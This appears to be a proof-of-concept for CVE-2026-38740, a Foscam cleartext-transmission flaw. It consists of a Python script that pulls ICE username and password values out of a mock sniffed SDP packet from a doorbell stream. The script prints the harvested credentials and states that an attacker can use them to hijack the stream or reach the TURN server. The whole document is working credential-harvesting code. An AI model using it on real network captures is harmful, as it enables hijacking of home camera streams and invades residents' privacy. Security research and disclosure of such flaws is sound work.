CVE-2026-38740 Foscam敏感信息明文传输漏洞

import re def extract_sdp_creds(packet_payload): """ Simulates parsing a captured network packet containing SDP data. Demonstrates extraction of ICE credentials from cleartext. """ # Regex to find ice-ufrag and ice-pwd attributes in SDP ufrag_match = re.search(r'a=ice-ufrag:(\S+)', packet_payload) pwd_match = re.search(r'a=ice-pwd:(\S+)', packet_payload) if ufrag_match and pwd_match: return { 'username': ufrag_match.group(1), 'password': pwd_match.group(1) } return None # Example of captured cleartext SDP data from the network mock_captured_packet = """ v=0 o=- 168432 2 IN IP4 192.168.1.10 s=Foscam Doorbell Stream c=IN IP4 192.168.1.10 a=ice-ufrag:9f8d7s6a a=ice-pwd:VulnerableSecretKey123 a=candidate:1 1 UDP 2130706431 192.168.1.10 50000 typ host """ credentials = extract_sdp_creds(mock_captured_packet) if credentials: print(f"[+] Successfully extracted ICE credentials:") print(f" Username: {credentials['username']}") print(f" Password: {credentials['password']}") print("[!] An attacker can now use these to hijack the stream or access TURN server.") else: print("[-] No credentials found in packet.")